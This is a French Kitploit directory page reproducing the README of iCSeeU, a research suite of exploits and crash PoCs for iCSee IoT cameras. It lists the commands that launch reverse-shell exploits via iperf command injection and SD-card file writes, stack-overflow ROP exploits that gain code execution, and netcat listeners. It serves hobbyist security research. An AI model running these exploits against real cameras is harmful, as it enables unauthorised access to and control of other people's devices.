Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
iCSeeU — Ceci est une suite d'outils/PoCs/exploits pour les caméras utilisant l'application iCSee. Et oui - elle peut exécuter des jeux NES ! | Kitploit
Outils/GitHubGitHub/lr-m/icseeu
Sécurité des Systèmes EmbarquésSécurité IoTExploitationRétro-ingénierieDébogueursFuzzingCTFSécurité MatérielleArticles et RechercheApprentissage et ÉducationAnalyse de MicrologicielExploitation de Binaires
14il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHublr-m/icseeu

iCSeeU

Ceci est une suite d'outils/PoCs/exploits pour les caméras utilisant l'application iCSee. Et oui - elle peut exécuter des jeux NES !

Voir le dépôt

Ceci est un ensemble d'outils/PoC/exploits qui peuvent être utilisés sur les caméras d'appel vidéo iCSee via le réseau local (et peut-être aussi les caméras sans appel vidéo). Cela pourrait facilement être utilisé pour flasher des firmwares alternatifs en remplacement de la méthode de mise à jour par carte SD.

Remarque : Tout exploit de corruption mémoire ne fonctionnera que si la version du firmware de votre caméra est V5.00.R02.000949U5.10000.141324.0000010 ou V5.00.R02.000807E5.10000.346724.0000010 - ces exploits reposent sur des offsets fixes, qui changent à chaque construction du firmware.

Blogs

[0] Énumération, démontage et extraction du firmware

[1] Apprendre le langage de la caméra

[2] Recherche de débordements d'entiers inutiles + quelques bugs utiles

[3] La mort par débordement de pile + plaisir avec les canaris

[4] Exploiter toutes les choses

[5] Caméra différente, même application

[6] Vindication + exploit complet de corruption mémoire sur la deuxième caméra

[7] Émulation de jeux NES sur la caméra

Dépendances

  • pycryptodome : Pour le cryptage RSA de connexion
  • pwntools : Pour le shellcode
  • pyftpdlib : Pour le serveur FTP
  • pynput : Pour l'entrée clavier NES

Fonctionnalités

get_system_info

Cela utilise la méthode get_system_info pour récupérer des informations sur la caméra via le port 34567.

root@kitploit:~
python3 icseeu.py get_system_info
root@kitploit:~
{
  "Name": "SystemInfo",
  "Ret": 100,
  "SessionID": "0x0001869f",
  "SystemInfo": {
    "AlarmInChannel": 0,
    "AlarmOutChannel": 0,
    "AudioInChannel": 1,
    "BuildTime": "2024-06-27 10:33:41",
    "CombineSwitch": 0,
    "DeviceModel": "IPC_GK7201V300_G2-WR-V_S38",
    "DeviceRunTime": "0x000026c6",
    "DeviceType": 7,
    "DigChannel": 0,
    "EncryptVersion": "Unknown",
    "ExtraChannel": 0,
    "HardWare": "IPC_GK7201V300_G2-WR-V_S38",
    "HardWareVersion": "Unknown",
    "Pid": "A909409U5000000N",
    "SerialNo": "bf7816d59506ec06",
    "SoftWareVersion": "V5.00.R02.000949U5.10000.141324.0000010",
    "TalkInChannel": 1,
    "TalkOutChannel": 1,
    "UpdataTime": "",
    "UpdataType": "0x00000000",
    "VideoInChannel": 1,
    "VideoOutChannel": 1
  }
}

ftp_get_logs

Utilise une fonctionnalité de texte résiduelle pour extraire les journaux de l'appareil (les journaux aboutissent dans FTPTestDir/Test).

root@kitploit:~
python3 icseeu.py ftp_get_logs

Exploits

gdb_revshell

Exploite une vulnérabilité d'écriture de fichier sur carte SD, et la vulnérabilité d'exécution du binaire iperf qui permet l'exécution à distance d'un binaire présent sur la carte SD, pour obtenir un shell inverse et lancer un débogueur GDB qui s'attache au processus App principal.

Terminal 1 :

root@kitploit:~
nc -l 1234

Terminal 2 :

root@kitploit:~
python3 icseeu.py gdb_revshell

Terminal 3 :

root@kitploit:~
gdb-multiarch
gef-remote 192.168.188.2 8888

Remarque : N'arrêtez pas le programme pendant plus de 30 secondes, sinon le chien de garde se plaindra et le processus App redémarrera !

Remarque 2 : Vous devrez peut-être modifier les adresses IP codées en dur dans la charge utile (GDB_Revshell/remote_mgmt.c) pour qu'elles correspondent à l'IP de votre machine sur le réseau local et reconstruire la charge utile.

gdb_revshell_inject

Exploite une vulnérabilité d'écriture de fichier sur carte SD, et la vulnérabilité d'injection de commande iperf qui permet l'exécution à distance d'un binaire présent sur la carte SD, pour obtenir un shell inverse et lancer un débogueur GDB qui s'attache au processus App principal.

Ceci est utile pour les appareils qui possèdent déjà un binaire iperf, ce qui empêche l'autre méthode.

Terminal 1 :

root@kitploit:~
nc -l 1234

Terminal 2 :

root@kitploit:~
python3 icseeu.py gdb_revshell_inject

Terminal 3 :

root@kitploit:~
gdb-multiarch
gef-remote 192.168.188.2 8888

Remarque : N'arrêtez pas le programme pendant plus de 30 secondes, sinon le chien de garde se plaindra et le processus App redémarrera !

Remarque 2 : Vous devrez peut-être modifier les adresses IP codées en dur dans la charge utile (GDB_Revshell/remote_mgmt.c) pour qu'elles correspondent à l'IP de votre machine sur le réseau local et reconstruire la charge utile.

iperf_inject_exploit

Exploite l'injection de commande iperf pour établir un shell inverse.

Terminal 1 :

root@kitploit:~
nc -l 1234

Terminal 2 :

root@kitploit:~
python3 icseeu.py iperf_inject_exploit

Remarque : Vous devrez peut-être modifier les adresses IP codées en dur dans la charge utile (Revshell_Inject/remote_mgmt.c) pour qu'elles correspondent à l'IP de votre machine sur le réseau local et reconstruire la charge utile.

Exploit de débordement de pile pour GOKE GK7201

Ce sont des exploits pour le deuxième débordement de pile dans le gestionnaire du type de message 0x7d8. Ce débordement est intéressant car il permet de contourner le canari de pile et d'obtenir une exécution.

Vous devrez construire la charge utile du dispatcher avant qu'ils ne fonctionnent (exécutez make dans le répertoire PayloadDispatcher), ainsi que la charge utile que vous souhaitez exécuter sur la caméra en exécutant make dans les répertoires respectifs (par exemple ImageDisplay).

Remarques :

  • La version du firmware de la caméra doit être V5.00.R02.000949U5.10000.141324.0000010 (je ne peux pas garantir que cela fonctionnera pour d'autres)

screenflash

Démontre que nous avons une exécution de code en faisant clignoter l'écran.

root@kitploit:~
python3 icseeu.py exploit_goke screenflash

rgb

Démontre que nous contrôlons l'écran en faisant clignoter des couleurs RVB.

root@kitploit:~
python3 icseeu.py exploit_goke rgb

imagedisplay

Utilise l'écriture de fichier pour télécharger une image brute RGB 5:6:5, exécutez ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565 -f rawvideo image.raw sur une image dans le répertoire pour obtenir un fichier image.raw dans le répertoire ImageDisplay pour que cela fonctionne. L'image sera affichée à l'écran.

root@kitploit:~
python3 icseeu.py exploit_goke imagedisplay

buttontest

Démontre que nous pouvons lire l'état des boutons, fait clignoter une couleur lorsqu'un des boutons est détecté comme ayant été enfoncé.

root@kitploit:~
python3 icseeu.py exploit_goke buttontest

pong

Une implémentation minimale du jeu Pong qui démontre que nous contrôlons l'écran et les boutons à l'avant, démontre également une charge utile légèrement plus complexe.

root@kitploit:~
python3 icseeu.py exploit_goke pong

nes

Un émulateur NES porté qui peut jouer le rom.nes placé dans le répertoire GOKE_Payloads/nes, exécutez make dans GOKE_Payloads/nes/smolnes et GOKE_Payload/nes pour générer les binaires.

root@kitploit:~
python3 icseeu.py exploit_goke nes

Exploit de débordement de pile pour XM530V200WX1

Ceci est un exploit pour un débordement de pile sur une autre caméra sans canari de pile, mais avec NX. J'ai écrit une chaîne ROP pour pivoter la pile et obtenir l'exécution d'une grande chaîne ROP, cette chaîne ROP mappe de la mémoire exécutable, charge le contenu d'un fichier en mémoire, génère un thread qui l'exécute, puis corrige l'état de la pile et continue l'exécution.

Vous devrez construire la charge utile avant qu'elles ne fonctionnent, exécutez make dans les répertoires respectifs (par exemple ImageDisplay).

Remarques :

  • Cet exploit est assez peu fiable, il fonctionne environ 40 à 50% du temps (il n'aime pas du tout générer des threads pour des raisons inconnues).
  • La version du firmware de la caméra doit être V5.00.R02.000807E5.10000.346724.0000010 (je ne peux pas garantir que cela fonctionnera pour d'autres)

screenflash

Démontre que nous avons une exécution de code en faisant clignoter l'écran.

root@kitploit:~
python3 icseeu.py exploit_xm530 screenflash

rgb

Démontre que nous contrôlons l'écran en faisant clignoter des couleurs RVB.

root@kitploit:~
python3 icseeu.py exploit_xm530 rgb

imagedisplay

Utilise l'écriture de fichier pour télécharger une image brute RGB 5:6:5, exécutez ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565be -f rawvideo image.raw sur une image dans le répertoire pour obtenir un fichier image.raw dans le répertoire ImageDisplay pour que cela fonctionne. L'image sera affichée à l'écran.

root@kitploit:~
python3 icseeu.py exploit_xm530 imagedisplay

PoC

Plus de détails sur ces preuves de concept (et leurs causes sous-jacentes) sont dans les blogs en haut de ce readme.

integer_underflow_http

Ce PoC provoque un crash dû à un dépassement négatif d'entier dans le serveur HTTP.

root@kitploit:~
python3 icseeu.py integer_underflow_http

iperf_run

Ce PoC exécutera le fichier stocké sur la carte SD sous iperf/iperf (script ash ou binaire).

root@kitploit:~
python3 icseeu.py iperf_run

iperf_inject

Ce PoC exécutera la commande reboot via une injection de commande, le fichier iperf/iperf doit exister sur la carte SD pour que cela fonctionne.

root@kitploit:~
python3 icseeu.py iperf_inject

assert_trigger_0x41a

Ce PoC déclenche une assertion (assert) due à une grande allocation dans le gestionnaire de type de message 0x41a (provoquant un crash).

root@kitploit:~
python3 icseeu.py assert_trigger_0x41a

integer_overflow_0x41a

Ce PoC déclenche un crash dû à un débordement d'entier qui provoque une étrange lecture hors limites dans le gestionnaire de message 0x41a.

root@kitploit:~
python3 icseeu.py integer_overflow_0x41a

stack_overflow_0x43a

Ce PoC déclenche un crash dû à un débordement de pile dans le gestionnaire de message pour le type 0x43a.

root@kitploit:~
python3 icseeu.py stack_overflow_0x43a

stack_overflow_0x438_1

Ce PoC déclenche un crash dû au premier débordement de pile dans le gestionnaire de message pour le type 0x438.

root@kitploit:~
python3 icseeu.py stack_overflow_0x438_1

stack_overflow_0x438_2

Ce PoC déclenche un crash dû au deuxième débordement de pile dans le gestionnaire de message pour le type 0x438.

root@kitploit:~
python3 icseeu.py stack_overflow_0x438_2

stack_overflow_0xdac

Ce PoC déclenche un crash dû à un débordement de pile dans le gestionnaire de message pour le type 0xdac.

root@kitploit:~
python3 icseeu.py stack_overflow_0xdac

stack_overflow_0x5a4

Ce PoC déclenche un crash dû à un débordement de pile dans le gestionnaire de message pour le type 0x5a4.

root@kitploit:~
python3 icseeu.py stack_overflow_0x5a4

stack_overflow_0x414

Ce PoC déclenche un crash dû à un débordement de pile dans le gestionnaire de message pour le type 0x414.

root@kitploit:~
python3 icseeu.py stack_overflow_0x414

stack_overflow_0x410_1

Ce PoC déclenche un crash dû au premier débordement de pile dans le gestionnaire de message pour le type 0x410.

root@kitploit:~
python3 icseeu.py stack_overflow_0x438_1

stack_overflow_0x410_2

Ce PoC déclenche un crash dû au deuxième débordement de pile dans le gestionnaire de message pour le type 0x410.

root@kitploit:~
python3 icseeu.py stack_overflow_0x410_2

stack_overflow_0x5a8

Ce PoC déclenche un crash dû à un débordement de pile dans le gestionnaire de message pour le type 0x5a8.

root@kitploit:~
python3 icseeu.py stack_overflow_0x5a8

stack_overflow_0x41e

Ce PoC déclenche un crash dû à un débordement de pile dans le gestionnaire de message pour le type 0x41e.

root@kitploit:~
python3 icseeu.py stack_overflow_0x41e

stack_overflow_0x7d8_1

Ce PoC déclenche un crash dû au premier débordement de pile dans le gestionnaire de message pour le type 0x7d8.

root@kitploit:~
python3 icseeu.py stack_overflow_0x7d8_1

stack_overflow_0x7d8_2

Ce PoC déclenche un crash dû au deuxième débordement de pile dans le gestionnaire de message pour le type 0x7d8.

root@kitploit:~
python3 icseeu.py stack_overflow_0x7d8_2

stack_overflow_0x8a6

Ce PoC déclenche un crash dû à un débordement de pile dans le gestionnaire de message pour le type 0x8a6 (non présent sur toutes les caméras).

root@kitploit:~
python3 icseeu.py stack_overflow_0x8a6
Télécharger l’outil